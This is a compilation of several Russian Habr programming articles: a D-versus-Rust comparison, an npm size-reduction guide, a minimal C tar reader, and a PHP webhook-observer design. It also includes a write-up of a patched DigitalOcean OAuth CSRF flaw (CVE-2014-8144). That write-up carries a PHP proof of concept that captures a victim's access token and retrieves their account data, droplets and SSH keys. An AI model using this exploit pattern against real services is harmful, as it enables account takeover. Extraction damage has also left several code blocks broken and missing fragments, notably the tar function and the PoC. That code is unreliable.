Создать значение без инициализации Rust и так не позволит, а для создания значения по умолчанию правильным будет реализовать трейт [Default](https://doc.rust-lang.org/std/default/trait.Default.html):
```
struct Handle(*mut i8);
impl Default for Handle {
fn default() -> Self {
Handle(std::ptr::null_mut())
}
}
let h = Handle::default();
```
[[Запустить]](http://is.gd/nT3wq0)
#### Сравнение структур
```
struct A {
int a;
}
if (a1 == a2) { ... }
```
```
#[derive(PartialEq)]
struct A {
a: i32,
}
if a1 == a2 { ... }
```
Разница только в том, что D неявно реализует для нас оператор сравнения, а Rust надо об этом попросить, [что мы и делаем](http://is.gd/HuR9UV) через `#[derive(PartialEq)]`.
#### Сравнение строк
```
string str = "hello";
if( str == "betty" ) {
...
}
if( str < "betty" ) {
...
}
```
```
let str = "hello";
if str == "betty" {
...
}
if str < "betty" {
...
}
```
В обоих языках строки можно сравнивать на равенство и больше/меньше.
#### Сортировка массивов
D использует обобщённые реализации алгоритмов:
```
import std.algorithm;
type[] array;
...
sort( array ); // sort array in-place
array.sort!"a>b" // using custom compare function
array.sort!( ( a , b ) => ( a > b ) ) // same as above
```
В Rust используется несколько другой подход: сортировка, как и некоторые другие алгоритмы, реализована для "срезов" (slice), а те контейнеры, для которых это имеет смысл, умеют к ним приводиться.
```
let mut array = [3, 2, 1];
array.sort();
array.sort_by(|a, b| b.cmp(a));
```
[[Запустить]](http://is.gd/xZEupU)
Из мелких отличий: сравнение должно возвращать не `bool`, а [Ordering](https://doc.rust-lang.org/std/cmp/enum.Ordering.html) (больше/меньше/равно).
Данное сравнение заставило задуматься, почему в Rust сделано не так как в D или С++. Навскидку не вижу преимуществ и недостатков обоих подходов, так что спишем просто на особенности языка.
#### Строковые литералы
```
"This text \"spans\"
multiple
lines
"
```
```
"This text \"spans\"
multiple
lines
"
```
Оба языка поддерживают многострочные строковые константы.
#### Обход структур данных
Несмотря на название, в этом пункте, по моему, демонстрируется только возможность вложенных функций обращаться к переменным объявленным в внешних, так что я взял на себя смелость переписать код:
```
void foo() {
int a = 10;
void bar() {
a = 20;
}
bar();
}
```
В Rust можно объявлять вложенные функции, но захватывать переменные они не могут, для этого используются замыкания:
```
fn foo() {
let mut a = 10;
fn bar() {
//a = 20; // Error.
}
let mut baz = || { a = 20 };
baz();
}
```
[[Запустить]](http://is.gd/DkGuzc)
#### Динамические замыкания
В Rust тоже имеются лябмды/делегаты/замыкания. Пример был выше по тексту, ну а если вам интересны подробности, то загляните в [документацию](https://doc.rust-lang.org/book/closures.html) ([перевод](http://rurust.github.io/rust_book_ru/src/closures.html)).
#### Переменное число аргументов
В D есть специальная конструкция "..." позволяющая принять несколько параметров в качестве одного типизированного массива:
```
import std.stdio;
int sum( int[] values ... ) {
int s = 0;
foreach( int x ; values ) {
s += x;
}
return s;
}
int main() {
writefln( "sum = %d", sum( 8 , 7 , 6 ) );
int[] ints = [ 8 , 7 , 6 ];
writefln( "sum = %d", sum( ints ) );
return 0;
}
```
Rust не имеет прямой поддержки переменного количества аргументов, вместо этого предлагается использовать срезы или итераторы:
```
fn sum(values: &[i32]) -> i32 {
let mut res = 0;
for val in values {
res += *val;
}
res
}
fn main() {
println!("{}", sum(&[1, 2, 3]));
let ints = vec![3, 4, 5];
println!("{}", sum(&ints));
}
```
[[Запустить]](http://is.gd/edtGTv)
#### Заключение
Вот и всё. Конечно, сравнение двух языков, отталкивающееся от особенностей третьего, получается довольно специфическим, но определённые выводы сделать можно. Предлагаю вам сделать их самостоятельно.
Ну и по традиции сделаем заголовок [компилирующимся](http://is.gd/SBC5Uq):
```
macro_rules! man {
(C => D) => {{
"https://habrahabr.ru/post/276227/"
}};
(C => D => Rust) => {{
"https://habrahabr.ru/post/280904/"
}};
(Rust => $any:tt) => {{
"You are doing it wrong!"
}};
}
fn main() {
println!("{}", man!(C => D));
println!("{}", man!(C => D => Rust));
println!("{}", man!(Rust => C));
println!("{}", man!(Rust => D));
}
``` | https://habr.com/ru/post/280904/ | null | ru | null |
# Doorkeeper CSRF — CVE-2014-8144
Как и многие хабрапользователи, я пользуюсь «облачными» технологиями, в т.ч. арендую VPS (виртуальные сервера) в разных странах мира. Порядка двух лет я пользовался Амазоном и не сказать, чтобы был доволен, но хватало.
В сентябре прошлого года я наткнулся на очень агрессивную PR компанию от Digital Ocean (DO) и решил воспользоваться их услугами. С того момента я забросил Амазон (ни разу не реклама) и полностью перешел на DO.
И чем больше пользуешься каким-либо сервисом и чем больше доверяешь ему своих данных, тем более пристально смотришь, как он работает.
Веб DO написан на RoR, также повсеместно используется GO/Perl, БД — MariaDB / PostgreSQL (весьма странно что оба вместе в одном продукте, ну да ладно). И из нескольких security-репортов хотелось бы выделить один, уже исправленный, с самой простейшей багой и самым большим импактом — захват контроля над чужим аккаунтом.
Место встречи
=============
Как-то давно я писал статью про [безопасность API](http://habrahabr.ru/company/dsec/blog/218829/) и что смотреть уязвимости лучше именно там. Осмотрев свой аккаунт и функционал заметил — что здесь он как раз есть. Можно создавать «developer applications».
*Окно создания приложения*
Доступ через приложение к аккаунту
==================================
Почитав документы — [developers.digitalocean.com](https://developers.digitalocean.com/), изучив запуск новой версии API понял, что могу создать приложение, после на него мне дается ссылка вида — [cloud.digitalocean.com/v1/oauth/authorize?client\_id=34fc7d56883b7e33b2f305642acb5ec6e5a14271ba83084dc6a0ca2b22d29555&redirect\_uri=https%3A%2F%2Fsergeybelove.ru%2Fexploits%2F&response\_type=code](https://cloud.digitalocean.com/v1/oauth/authorize?client_id=34fc7d56883b7e33b2f305642acb5ec6e5a14271ba83084dc6a0ca2b22d29555&redirect_uri=https%3A%2F%2Fsergeybelove.ru%2Fexploits%2F&response_type=code)
*Пример запроса доступа к аккаунту*
В url можно задать параметр scope. Вместо типичного решения разделения прав по модулям (например, как в соц. сетях — доступ к друзьям, фотоальбомам и т.п.) ребята из DO решили сделать по-другому, можно запросить доступные операции — read|write (без явного указания параметра выставляется только read), при этом выдавая доступ сразу ко всем модулям. Далеко не лучшее решение.
Вектор атаки
============
Если юзер нажмет на «Authorize Application» его автоматически перекинет по callback url с специальным токеном. Этот токен можно использовать уже на своей стороне (разработчика) для запроса следующего токена, который нужен непосредственно для вызовов самих методов API (информация об аккаунте, управление дроплетами и т.п.).
Вся их ошибка сводилась к тому, что можно провести CSRF атаку на установку приложения (создать на своей стороне форму, идентичную запросу выше на картинке, поменять action формы на DO и выполнить submit). CSRF токен они используют, но не проверяют на серверной стороне.
Как итог, мы просто размещаем где-либо нужный html/js код, помещаем его в скрытый фрейм и, незаметно для пользователя, устанавливаем ему свое «злобное» приложение, попутно отлавливая access\_token, который юзер передаст по callback\_url на наш сервер.
Для наглядности приведу свой PoC. При посещении кода с такой страницей — устанавливалось приложение, отлавливался access\_token, запрашивался следующий и выводились некоторые данные аккаунта
```
>
php
if (isset($_GET['code']) && preg_match("/^([a-z0-9]{64})$/", $_GET['code'])) {
// lets exploit
$resp = json_decode(shell_exec('curl -X POST "https://cloud.digitalocean.com/v1/oauth/token?grant_type=authorization_code&code='.$_GET['code'].'&client_id=_CLIENT_ID_OF_DEV_APP&client_secret=CLIENT_SECRET_OF_DEV_API&redirect_uri=http://_url_with_exploit"'));
$token = $resp-access_token;
echo "Your token is: ".$token;
echo 'User info:
==========
```
';
print_r(json_decode(shell_exec('curl -X GET -H \'Content-Type: application/json\' -H \'Authorization: Bearer '.$token.'\' "https://api.digitalocean.com/v2/account"')));
echo '
```
Droplets info:
==============
```
';
print_r(json_decode(shell_exec('curl -X GET -H \'Content-Type: application/json\' -H \'Authorization: Bearer '.$token.'\' "https://api.digitalocean.com/v2/droplets"')));
echo '
```
SSH keys info:
==============
```
';
print_r(json_decode(shell_exec('curl -X GET -H \'Content-Type: application/json\' -H \'Authorization: Bearer '.$token.'\' "https://api.digitalocean.com//v2/account/keys"')));
echo '
```
';
}
```
Итог — полный контроль над аккаунтом. Некоторые из доступных методов (просто указывая scope=read,write):
* Создание, удаление дроплетов
* Создание, удаление, обновление ssh ключей
* Перемещение образов дроплетов (на другие аккаунты)
В целом — густо. Данная уязвимость запатчена, остальные, к сожалению, нет. Может получится о них рассказать в скором времени.
upd: уязвимость допущена не разработчиками DO, а находится в самом джеме для OAuth — Doorkeeper, который используется на множестве сайтов. | https://habr.com/ru/post/246025/ | null | ru | null |
# Уменьшаем размер публикуемых npm модулей
По умолчанию npm публикует в registry весь модуль целиком. За исключением явно указанных в .gitignore файлов. Это отбрасывает зависимости, но все равно позволяет куче не очень нужных файлов просочиться в опубликованное. После чего [благодарные пользователи](http://www.rudeshko.com/web/2014/05/13/help-people-consume-your-npm-packages.html) ждут, пока все это скачается. Для [grunt](http://gruntjs.com/), кстати, ждать придется порядка 6 мегабайт. А он такой обычно не один.
Я решил разобраться, как измерить размер своих модулей после публикации и, по возможности, этот размер уменьшить. В качестве примера буду использовать модуль [check-more-types](https://github.com/kensho/check-more-types), который содержит всего несколько файлов. Плюс юнит тесты и документацию, которая собирается в README markdown файл.
В первую очередь мы должны посчитать текущий размер модуля. NPM хранит все файлы в виде tar архивов, так что достаточно будет создать такой архив и посмотреть его размер. Более того, у npm есть для этого специальная команда **npm pack**, создающая архив из содержимого указанной директории. [Mathias Bynens](https://twitter.com/mathias) предлагает следующий скрипт для определения размера модуля:
```
tarball="$(npm pack .)"; wc -c "${tarball}"; tar tvf "${tarball}"; rm "${tarball}";
```
Я измерил размер архива для коммита с хешом [3ada360](https://github.com/kensho/check-more-types/commit/3ada36075d163e4649978abf2d50a12bea5ccd57):
**немного shell магии**
```
$ tarball="$(npm pack .)"; wc -c "${tarball}"; tar tvf "${tarball}"; rm "${tarball}";
25184 check-more-types-2.1.2.tgz
-rw-r--r-- 0 501 20 1977 Nov 19 13:55 package/package.json
-rw-r--r-- 0 501 20 64 Nov 19 13:18 package/.npmignore
-rw-r--r-- 0 501 20 19703 Nov 19 13:49 package/README.md
-rw-r--r-- 0 501 20 1073 Nov 19 13:18 package/LICENSE
-rw-r--r-- 0 501 20 2534 Nov 19 13:18 package/Gruntfile.js
-rw-r--r-- 0 501 20 18204 Nov 19 13:18 package/check-more-types.js
-rw-r--r-- 0 501 20 6723 Nov 19 13:49 package/check-more-types.min.js
-rw-r--r-- 0 501 20 600 Nov 19 13:49 package/bower.json
-rw-r--r-- 0 501 20 162 Nov 19 13:18 package/.travis.yml
-rw-r--r-- 0 501 20 1756 Nov 19 13:18 package/.jshintrc
-rw-r--r-- 0 501 20 655 Nov 19 13:18 package/docs/README.tmpl.md
-rw-r--r-- 0 501 20 1936 Nov 19 13:18 package/docs/badges.md
-rw-r--r-- 0 501 20 255 Nov 19 13:18 package/docs/footer.md
-rw-r--r-- 0 501 20 240 Nov 19 13:18 package/docs/install.md
-rw-r--r-- 0 501 20 13707 Nov 19 13:49 package/docs/use.md
-rw-r--r-- 0 501 20 127 Nov 19 13:18 package/test/check-more-types-minified-spec.js
-rw-r--r-- 0 501 20 78 Nov 19 13:18 package/test/check-more-types-spec.js
-rw-r--r-- 0 501 20 467 Nov 19 13:18 package/test/load-under-node-test.js
-rw-r--r-- 0 501 20 738 Nov 19 13:18 package/test/synthetic-browser-spec.js
-rw-r--r-- 0 501 20 37754 Nov 19 13:18 package/test/unit-tests.js
```
Что мы видим? Куча файлов и размер сжатых данных в 251184 байт. Для начала немного автоматизируем этот процесс. Я нашел хорошую утилиту для получения размера без использования шелл команд: [pkgfiles](https://www.npmjs.com/package/pkgfiles) за авторством [Tim Oxley](https://twitter.com/secoif).
Я инсталлировал утилиту как дев зависимость и добавил ее в “prepublish” скрипт для **package.json**:
```
{
"devDependencies": {
"pkgfiles": "2.3.0"
},
"scripts": {
"prepublish": "pkgfiles"
}
}
```
“Prepublish” скрипт будет выполняться каждый раз при локальной установке и по команде **npm publish**. Посмотрим на результат **npm run publish** после наших изменений:
**результат npm run prepublish**
```
$ npm run prepublish
> check-more-types@2.1.2 prepublish /Users/kensho/git/check-more-types
> pkgfiles
PATH SIZE %
.npmignore 0 B 0%
test/check-more-types-spec.js 78 B 0%
test/check-more-types-minified-spec.js 127 B 0%
.travis.yml 162 B 0%
docs/install.md 240 B 0%
docs/footer.md 255 B 0%
test/load-under-node-test.js 467 B 0%
bower.json 600 B 1%
docs/README.tmpl.md 655 B 1%
test/synthetic-browser-spec.js 738 B 1%
LICENSE 1.07 kB 1%
.jshintrc 1.76 kB 2%
docs/badges.md 1.94 kB 2%
package.json 2.05 kB 2%
Gruntfile.js 2.53 kB 2%
check-more-types.min.js 6.72 kB 6%
docs/use.md 13.71 kB 13%
check-more-types.js 18.2 kB 17%
README.md 19.7 kB 18%
test/unit-tests.js 37.75 kB 35%
DIR SIZE %
docs/ 16.79 kB 15%
test/ 39.16 kB 36%
. 108.77 kB 100%
PKGFILES SUMMARY
Size on Disk with Dependencies ~126.72 MB
Size with Dependencies ~88.58 MB
Publishable Size ~108.77 kB
Number of Directories 3
Number of Files 20
```
Очень детальная информация. И самые “тяжелые” файлы указаны последними, что дает возможность удобно анализировать результаты в терминале. Больше всего места занимают директории с документацией и тестами — и это при том, что мы не собираемся их публиковать!
Есть три способа указать, какие файлы не будут публиковаться в npm. Мы используем способ по умолчанию: файлы, указанные в **.gitignore**, автоматически заносятся в черный список. И мы можем создать еще один файл, **.npmignore**, в котором указать независящий от git набор файлов, который мы не хотим публиковать. Альтернативные способ: добавить файлы в “белый список” с помощью **package.json**. Лично я предпочитаю именно такой способ. Обратите внимание, что ряд файлов, такие как **package.json** или **README**, автоматически находятся в белом списке.
```
{
"files": [
"bower.json",
"check-more-types.js",
"check-more-types.min.js"
]
}
```
А чтобы исключить файлы из уже добавленных, можно воспользоваться восклицательным знаком. Например, если в вашей директории **src**, которую вы хотите публиковать, есть поддиректория **test**, которую вы публиковать совсем не хотите, то:
```
{
"files": [
"src",
"!src/test"
]
}
```
Ну а если в одной директории **src** у вас случились файлы как для production, так и для test/staging, то вы можете исключить файлы по одному или группами:
```
{
"files": [
"src/*.js",
"!src/*-spec.js"
]
}
```
Хеш коммита со всеми этими изменениями начинается с [bc3e2a1](https://github.com/kensho/check-more-types/commit/bc3e2a1b2618f499a4718cc0b88a21d98b92709e). Посмотрим, что получилось с размером публикуемого модуля:
**еще один результат npm run prepublish**
```
$ npm run prepublish
> check-more-types@2.1.2 prepublish /Users/kensho/git/check-more-types
> pkgfiles
PATH SIZE %
bower.json 600 B 1%
LICENSE 1.07 kB 2%
package.json 2.15 kB 4%
check-more-types.min.js 6.72 kB 14%
check-more-types.js 18.2 kB 38%
README.md 19.7 kB 41%
DIR SIZE %
. 48.45 kB 100%
PKGFILES SUMMARY
Size on Disk with Dependencies ~126.72 MB
Size with Dependencies ~88.58 MB
Publishable Size ~48.45 kB
Number of Directories 1
Number of Files 6
```
Получилось все неплохо: размер публикуемого модуля уменьшался на 55% со 107 килобайт до 48. Это общее уменьшение размера, но мы еще можем посмотреть, что именно поменялось внутри tar архива. К сожалению, **npm pack** вызывает **prepublish** скрипт и не может корректно обработать его вывод. Поэтому я временно переименую **prepublish** и добавлю “tarball=...” под именем **reuse**:
**результат npm run size**
```
$ npm run size
> check-more-types@2.1.2 size /Users/kensho/git/check-more-types
> tarball="$(npm pack .)"; wc -c "${tarball}"; tar tvf "${tarball}"; rm "${tarball}";
13179 check-more-types-2.1.2.tgz
-rw-r--r-- 0 501 20 2256 Nov 19 14:09 package/package.json
-rw-r--r-- 0 501 20 19703 Nov 19 13:58 package/README.md
-rw-r--r-- 0 501 20 1073 Nov 19 13:18 package/LICENSE
-rw-r--r-- 0 501 20 18204 Nov 19 13:58 package/check-more-types.js
-rw-r--r-- 0 501 20 6723 Nov 19 13:58 package/check-more-types.min.js
-rw-r--r-- 0 501 20 600 Nov 19 13:58 package/bower.json
```
Теперь клиенту нужно сказать только 13 килобайт вместо 28, а это 50% уменьшение размера!
Мне также пришла в голову идея показывать размер публикуемого модуля при каждом push из локального репозитория в “remote master”. Чтобы это сделать, достаточно добавить обе команды, **size** и **pkgfiles**, в **pre-push** шаг и воспользоваться модулем “pre-git”:
```
npm install -D pre-git
```
**package.json**
```
{
"scripts": {
"pkgfiles": "pkgfiles",
"size": "tarball=\"$(npm pack .)\"; wc -c \"${tarball}\"; tar tvf \"${tarball}\"; rm \"${tarball}\";"
},
"config": {
"pre-git": {
"pre-push": [
"npm run size",
"npm run pkgfiles"
]
}
}
}
```
Чтобы проверить, что все сработало, я увеличил версию пакета с **2.1.2** до **2.2.0** и воспользовался для установки чистой директорий и npm версии “3.4.0”:
```
$ time npm i check-more-types@2.1.2
/private/tmp/test-small
└── check-more-types@2.1.2
real 0m2.706s
user 0m1.419s
sys 0m0.323s
```
Почти 3 секунды. Сотрем директорию **node\_modules** и попробуем новую версию пакета:
```
$ rm -rf node_modules/
$ time npm i check-more-types@2.2.0
/private/tmp/test-small
└── check-more-types@2.2.0
real 0m1.716s
user 0m1.244s
sys 0m0.198s
```
Мы успешно откусили 1 секунду от инсталляции — а это 30% от всего времени инсталяции для нашего маленького модуля!
Полная версия использованного мной для “очистки” package.json (можно посмотреть в моем [репозитории](https://github.com/kensho/check-more-types/blob/master/package.json)):
```
npm install -D pkgfiles pre-git
```
**package.json целиком**
```
{
"devDependencies": {
"pkgfiles": "2.3.0",
"pre-git": "1.3.0"
},
"scripts": {
"pkgfiles": "pkgfiles",
"size": "tarball=\"$(npm pack .)\"; wc -c \"${tarball}\"; tar tvf \"${tarball}\"; rm \"${tarball}\";"
},
"config": {
"pre-git": {
"pre-push": [
"npm run size",
"npm run pkgfiles"
]
}
}
}
```
Кстати, эту версию можно немного уменьшить, если использовать “t” вместо “tarball”:
```
"scripts": {
"pkgfiles": "pkgfiles",
"size": "t=\"$(npm pack .)\"; wc -c \"${t}\"; tar tvf \"${t}\"; rm \"${t}\";"
}
``` | https://habr.com/ru/post/283552/ | null | ru | null |
# Читаем tar за 26 строк ANSI C кода
Архиваторы — это страшно! Огромные и ужасные алгоритмы, которые обычному человеку никогда в жизни не понять! Rar, zip, gzip, tar — современные стандарты де-факто, а значит крайне сложные и навороченные штуки, которые и пытаться понять не стоит. Ну, tar выглядит попроще, может там всё не так сложно? Смотрим [git](http://git.savannah.gnu.org/cgit/tar.git/tree/src) с исходниками. Видим десятки файлов, многие на десятки килобайт. Мда. Видимо, тупик.
```
__________________| |____________________________________________
,--. ,--. ,--. ,--.
|oo | _ \ `. | oo | | oo|
o o|~~ |(_) / ; | ~~ | | ~~|o o o o o o o o o o o
|/\/\| '._,' |/\/\| |/\/\|
__________________ ____________________________________________
| |dwb
```
На самом деле всё не так сложно. В [документации](https://www.opennet.ru/docs/RUS/tar/tar-8.html) было описано, что tar — просто способ записи нескольких файлов на ленту. Т.е. всё должно быть просто. По факту — набор вспомогательной информации для каждого файла и непосредственно его содержимое. Именно понимание этого факта и позволило сделать читатель tar-файлов в 26 строк.
Зачем вообще может быть нужен tar во времена тотального засилья zip? Для меня вопрос использования tar встаёт тогда, когда хочу получить в своих миниатюрных Си-приложениях архиватор "на халяву" — т.е. с минимальным ростом исполняемого файла и без лишних зависимостей. Например, утилита [dxPmdxConverter](https://github.com/DeXP/dxPmdxConverter) умеет читать BMP и конвертировать в PNG с помощью [LodePNG](http://lodev.org/lodepng/). Т.е. в приложении уже есть функционал, который "архивирует" массив пикселей в сжатый PNG формат. А сжимается PNG по алгоритму [Deflate](https://ru.wikipedia.org/wiki/Deflate), который используется в zip и gzip. Причём, в gzip он используется напрямую — записывается заголовок gzip, поток данных от Deflate, crc-сумма. И на выходе получается готовый .gz-файл, который можно открыть любым архиватором. Однако gzip может сжать только один файл. Т.е. до сжатия несколько файлов нужно каким-то образом объединить в один. Наиболее распространённый для этого способ — tar.
```
____ _ _ ____ __ ____ __ _ _ __ ____ ______
| _ \| \ | |/ ___| / / | _ \ ___ / _| | __ _| |_ ___ / / / ___|__ (_)_ __
| |_) | \| | | _ / / | | | |/ _ \ |_| |/ _` | __/ _ \ / / | | _ / /| | '_ \
| __/| |\ | |_| | / / | |_| | __/ _| | (_| | || __/ / / | |_| |/ /_| | |_) |
|_| |_| \_|\____| /_/ |____/ \___|_| |_|\__,_|\__\___| /_/ \____/____|_| .__/
|_|
```
В следующий раз tar пригодился мне в похожей ситуации. Чтобы не хранить ресурсы игры [Wordlase](http://steamcommunity.com/sharedfiles/filedetails/?id=861528240) в открытом виде было решено их архивировать. Да, паковать можно как угодно долго, на машине разработчика. Но распаковываться ресурсы будут при каждом запуске игры. Т.е. решение должно работать быстро. Public domain реализация алгоритма сжатия была найдена на просторах интернета, но она так же умеет паковать только один файл. Так и был рождён герой данной публикации — [dxTarRead](https://github.com/DeXP/dxTarRead/).
Преимущества dxTarRead:
* не требует дополнительной памяти, работает только с переданным массивом
* легко встраиваем, всего 1 функция
* не зависит ни от каких библиотек (не используется даже stdlibc)
* C89, т.е. теоретически корректно скомпилируется даже на микроволновке с помощью Visual Studio
* Public Domain
Основным недостатком является то, что tar-файл должен быть предварительно считан в память полностью. С другой стороны — ресурсы же всё-равно будут использованы, т.е. будут загружаться. Тогда почему бы не загрузить их с диска сразу, а уже по надобности брать их из массива с tar-данными.
Итак, tar. Основную информацию по стандарту можно прочитать на [GNU.org](http://www.gnu.org/software/tar/manual/html_node/Standard.html). В основном мне пригодилось только описание структуры "struct posix\_header". Именно оттуда взяты константы:
```
const int NAME_OFFSET = 0, SIZE_OFFSET = 124, MAGIC_OFFSET = 257;
const int BLOCK_SIZE = 512, NAME_SIZE = 100, SZ_SIZE = 12, MAGIC_SIZE = 5;
```
По сути эти константы можно читать примерно так: если сместиться от начала блока tar на 124 байта (SIZE\_OFFSET), то в следующих 12 байтах (SZ\_SIZE) у нас будет храниться размер файла внутри tar.
Не забываем читать документацию и дальше. Там можно узнать, что размер хранится в восьмеричной системе счисления ;-) Т.е. если читать байты с конца SZ\_SIZE и прибавлять цифру, умноженную на 8, то получим размер в привычном десятичном виде.
Если записать вышеописанное на языке Си, то получим:
```
const char* sz = tar + SIZE_OFFSET + currentBlockStart;
long size = 0;
for(i=SZ_SIZE-2, mul=1; i>=0; mul*=8, i--) /* Octal str to int */
if( (sz[i]>='1') && (sz[i] <= '9') ) size += (sz[i] - '0') * mul;
```
Вплотную подошли к теме tar-блоков. Это просто 512 байт с данными — или заголовок tar, или непосредственно байты файла, записанные подряд. Если последний блок файла занимает меньше 512 байт, то всё равно резервируется 512 байт. Т.е. каждый tar-архив выглядит примерно так:
```
+-------+-------+-------+-------+-------+-------+
| tar 1 | file1 | ... | file1 | tar 2 | file2 | ...
+-------+-------+-------+-------+-------+-------+
```
Идёт блок с заголовком tar, в котором указан размер хранимого файла. Далее идут N блоков с содержимым файла. Т.е. чтобы перейти к следующему файлу в tar нужно сместиться на (N+1)\*512 байт. Код:
```
newOffset = (1 + size/BLOCK_SIZE) * BLOCK_SIZE; /* trim by block size */
if( (size % BLOCK_SIZE) > 0 ) newOffset += BLOCK_SIZE;
```
Алгоритм выглядит следующим образом:
1. Читаем из блока имя файла и его размер.
2. Если имя файла совпадает с тем, что ищем, то возвращаем ссылку пользователю.
3. Иначе прыгаем на следующий блок и повторяем с шага 1.
Чтобы сравнить имя файла пришлось реализовать свой аналог strncmp на цикле:
```
i = 0;
while((i 0) && (name[i] == 0) && (fileName[i] == 0) ) found = 1;
```
Всё. Весь исходный код рассмотрен. Полный код функции:
```
const char* dxTarRead(const void* tarData, const long tarSize,
const char* fileName, long* fileSize)
{
const int NAME_OFFSET = 0, SIZE_OFFSET = 124, MAGIC_OFFSET = 257;
const int BLOCK_SIZE = 512, NAME_SIZE = 100, SZ_SIZE = 12, MAGIC_SIZE = 5;
const char MAGIC[] = "ustar"; /* Modern GNU tar's magic const */
const char* tar = (const char*) tarData; /* From "void*" to "char*" */
long size, mul, i, p = 0, found = 0, newOffset = 0;
*fileSize = 0; /* will be zero if TAR wrong or there is no such file */
do { /* "Load" data from tar - just point to passed memory*/
const char* name = tar + NAME_OFFSET + p + newOffset;
const char* sz = tar + SIZE_OFFSET + p + newOffset; /* size string */
p += newOffset; /* pointer to current file's data in TAR */
for(i=0; i=0; mul\*=8, i--) /\* Octal str to int \*/
if( (sz[i]>='1') && (sz[i] <= '9') ) size += (sz[i] - '0') \* mul;
/\* Offset size in bytes. Depends on file size and TAR's block size \*/
newOffset = (1 + size/BLOCK\_SIZE) \* BLOCK\_SIZE; /\* trim by block \*/
if( (size % BLOCK\_SIZE) > 0 ) newOffset += BLOCK\_SIZE;
i = 0; /\* strncmp - compare file's name with that a user wants \*/
while((i 0) && (name[i] == 0) && (fileName[i] == 0) ) found = 1;
} while( !found && (p + newOffset + BLOCK\_SIZE <= tarSize) );
if( found ){
\*fileSize = size;
return tar + p + BLOCK\_SIZE; /\* skip header, point to data \*/
} else return 0; /\* No file found in TAR - return NULL \*/
}
```
#### Вывод
tar не сжимает данные, а хранит в открытом виде. Именно это и позволяет не выделять новую память, а просто возвращать указатель на существующую.
Размер tar-блока равен 512 байт. Кроме того на каждый файл необходимо хранить tar-заголовок. Т.е. файл размером несколько байт будет занимать 1 килобайт в tar-архиве. Если нужно хранить много мелких файлов и при этом не сжимать файл, то tar — плохой выбор.
→ [dxTarRead на GitHub](https://github.com/DeXP/dxTarRead/)
**P.S.** Хаб "Я пиарюсь!" я видел. А где хаб "Я ищу работу"? :) | https://habr.com/ru/post/320834/ | null | ru | null |
# Remote observer
Если проект вышел за рамки локальной машины, скорее всего придётся интегрироваться с какими-нибудь сторонними системами.
Хочу рассмотреть случай, когда упомянутая внешняя система хочет получать уведомления о каких-либо изменениях в нашей системе. Например, обновление каталога товаров.
### Задача
Существует торговая площадка, которая предоставляет доступ к своей товарной базе посредством WEB-сервисов. Партнёры площадки хотят узнавать об изменениях в базе в кратчайшие сроки.
### Вариант решения
Мы знаем всех наших партнёров, можем запросить документацию по их ПО.
Можно реализовать работы с API наших партнёров, и при изменении товарного каталога оповещать их напрямую.
При таком подходе каждого нового клиента придётся подключать индивидуально. Если у партнёра что-то изменилось в софте, потребуются ресурсы на восстановление работоспособности. В общем, дополнительные траты и лишняя зона ответственности.
Очень не хочется устанавливать такие жесткие связи. Поэтому будем делать следующее.
За основу возьмём паттерн «наблюдатель». Предоставим нашим коллегам подписываться на события и получать необходимые им уведомления.
### Реализация
Записи о подписках должны где-то храниться. Тип хранилища останется на совести разработчика. Рассмотрим ЧТО нужно хранить.
* *Событие.* Типов событий может быть достаточно много и чтобы не рассылать оповещения всем подряд, нужно знать кто на что подписался.
* *URL.* Берем самый простой вариант. Оповещение предполагает отправку HTTP-запроса на указанный URL. Если идея себя оправдает, то можно будет добавить поддержку других протоколов и технологий.
* *Количество отказов.* Оповещение подписчиков это работа, которая требует ресурсов (процессорное время, память, трафик). После отправки запроса, мы ожидает положительного ответа. Но на той стороне может что-то сломаться и слать туда запросы становится бессмысленным. Соответственно нужно следить за отказами и прекращать оповещение при достижении некоторого значения.
Предположим, что программная часть написана на PHP.
Для подписки на событие, необходимо отправить POST-запрос на некоторый URL. Например, [b2b.api.my-soft.ru/event-subscription](https://b2b.api.my-soft.ru/event-subscription). И передать параметры URL и event(алиас события).
Обрабатываем так (на базе Laravel):
```
public function subscribe()
{
$request = $this->getRequest();
$eventName = $request->input('event');
$url = $request->input('callback');
$validator = \Validator::make([
'url' => $url,
'event' => $eventName
], [
'url' => 'url|required',
'event' => 'required'
]);
if ($validator->fails()) {
throw new BadRequestHttpException($validator->errors()->first());
}
$repository = $this->getRepository();
if (!$repository->eventAvailable($eventName)) {
throw new BadRequestHttpException(trans('api.error.eventSubscription.wrongEvent'));
}
if (!$repository->canAddEvent($eventName)) {
throw new BadRequestHttpException(trans('api.error.eventSubscription.maxCallbacks'));
}
$model = $repository->createModel([
'client_id' => $request->attributes->get('client')->id,
'event' => $eventName,
'url' => $url
]);
if ($repository->save($model)) {
return $this->response($model);
}
throw new \Exception();
}
```
Алгоритм действий прост:
* Проверяем, что все нужные данные пришли и пришли в нужном формате
* Проверяем, что тип события доступен
* Проверяем возможность подписки (метод canAddEvent)
* Сохраняем
* Сообщаем, что подписка успешна
Далее клиент ждёт оповещения.
В каталог добавлен новый товар. Нужно оповестить об этом всех наших партнеров, которых может быть очень много. В реальном времени этого сделать не получится, т.к. пользователь ждёт ответа. Нужно чтобы эта задача была обработана в порядке очереди.
Чтобы произошло оповещение, сначала нужно выбрать их хранилища все подписки, пройтись по ним и послать соответствующие запросы.
Это можно организовать в один или два этапа.
В два, это когда сначала, в очередь ставится само событие. А на втором этапе, в порядке очереди, происходит выборка подписчиков и их оповещение.
Но, можно и сразу сделать выборку и постановку задач в очередь. Операция достаточно дешевая.
```
$subscribersRepository->with(['event' => $event->getEventName()])->getActive()->each(function ($model) use ($event) {
$this->dispatch(new \Commands\RemoteCallback(
$model->id,
$model->url,
$event->getData()->toArray()
));
});
```
Выбираем активных подписчиков на произошедшее событие и в цикле ставим их в очередь.
RemoteCallback реализован следующим образом:
```
public function handle(EventSubscriptionRepository $subscriptionRepository)
{
$client = new \Guzzle\Http\Client();
$res = $client->post($this->url, [], $this->data, ['connect_timeout' => 3, 'timeout' => 3]);
try {
if ($res->send()->getStatusCode() !== 200) {
throw new \Exception();
}
$subscriptionRepository->dropErrors($this->subscriptionId);
} catch (\Exception $e) {
$subscriptionRepository->incrementError($this->subscriptionId);
}
}
```
Порядок действий таков. Делаем POST-запрос на указанный URL. Если успех, то обнуляем счетчик отказов, иначе увеличиваем.
Здесь стоит пройтись по условиям и ограничениям. Про количество отказов уже было сказано выше. Отказом считается HTTP статус != 200, либо медленный ответ. В примере выше, клиенту выделяется 3 секунды на установление соединения и 3 секунды на обработку запроса. Если партнёрская система за это время не уложилась, то считать отказом.
